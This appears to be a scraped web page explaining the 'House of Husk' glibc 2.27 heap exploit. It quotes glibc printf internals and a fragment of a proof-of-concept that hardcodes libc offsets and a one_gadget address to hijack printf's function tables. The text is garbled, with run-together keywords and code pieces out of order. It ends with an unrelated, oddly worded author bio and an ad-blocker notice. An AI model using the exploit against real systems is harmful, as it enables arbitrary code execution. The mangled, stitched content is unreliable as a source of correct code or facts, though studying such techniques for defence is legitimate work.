/* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_function (int spec, printf_function converter, printf_arginfo_function arginfo) { return __register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo); } /* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo) { if (spec < 0 || spec > (int) UCHAR_MAX) { __set_errno (EINVAL); return-1; }
int result = 0; __libc_lock_lock (lock);
if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1,sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; }
/* Type of a printf specifier-handler function. STREAM is the FILE on which to write output. INFO gives information about the format specification. ARGS is a vector of pointers to the argument data; the number of pointers will be the number returned by the associated arginfo function for the same INFO. The function should return the number of characters written, or -1 for errors. */ typedefintprintf_function(FILE *__stream, conststruct printf_info *__info, constvoid *const *__args);
//glibc-2.27/vfprintf.c:1985 extern printf_function **__printf_function_table; int function_done;
/* Fill in an array of pointers to the argument values. */ for (unsignedint i = 0; i < specs[nspecs_done].ndata_args; ++i) ptr[i] = &args_value[specs[nspecs_done].data_arg + i];
if (function_done != -2) { /* If an error occurred we don't have information about # of chars. */ if (function_done < 0) { /* Function has set errno. */ done = -1; goto all_done; }
/* Type of a printf specifier-arginfo function. INFO gives information about the format specification. N, ARGTYPES, *SIZE has to contain the size of the parameter for user-defined types, and return value are as for parse_printf_format except that -1 should be returned if the handler cannot handle this case. This allows to partially overwrite the functionality of existing format specifiers. */ typedefintprintf_arginfo_size_function(conststruct printf_info *__info, size_t __n, int *__argtypes, int *__size);
//glibc-2.27/printf-parsemb.c:307
/* Get the format specification. */ spec->info.spec = (wchar_t) *format++; spec->size = -1; if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) { /* Find the data argument types of a built-in spec. */ spec->ndata_args = 1;
structprintf_spec { /* Information parsed from the format spec. */ structprintf_infoinfo; /* Pointers into the format string for the end of this format spec and the next (or to the end of the string if no more). */ const UCHAR_T *end_of_fmt, *next_fmt; /* Position of arguments for precision and width, or -1 if `info' has the constant value. */ int prec_arg, width_arg; int data_arg; /* Position of data argument. */ int data_arg_type; /* Type of first argument. */ /* Number of arguments consumed by this format specifier. */ size_t ndata_args; /* Size of the parameter for PA_USER type. */ int size; };
//glibc-2.27/vfprintf.c:1335 /* Use the slow path in case any printf handler is registered. */ if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional;
/* Hand off processing for positional parameters. */
/** * This is a Proof-of-Concept for House of Husk * This PoC is supposed to be run with libc-2.27. */ #include<stdio.h>#include<stdlib.h>#define offset2size(ofs) ((ofs) * 2 - 0x10) #define MAIN_ARENA 0x3ebc40 #define MAIN_ARENA_DELTA 0x60 #define GLOBAL_MAX_FAST 0x3ed940 #define PRINTF_FUNCTABLE 0x3f0658 #define PRINTF_ARGINFO 0x3ec870 #define ONE_GADGET 0x10a38c
/* overwrite __printf_arginfo_table and __printf_function_table */ free(a[1]);// __printf_function_table => a heap_addr which is not NULL free(a[2]);//__printf_arginfo_table => one_gadget
Introduction: My name is Fr. Dewey Fisher, I am a powerful, open, faithful, combative, spotless, faithful, fair person who loves writing and wants to share my knowledge and understanding with you.
We notice you're using an ad blocker
Without advertising income, we can't keep making this site awesome for you.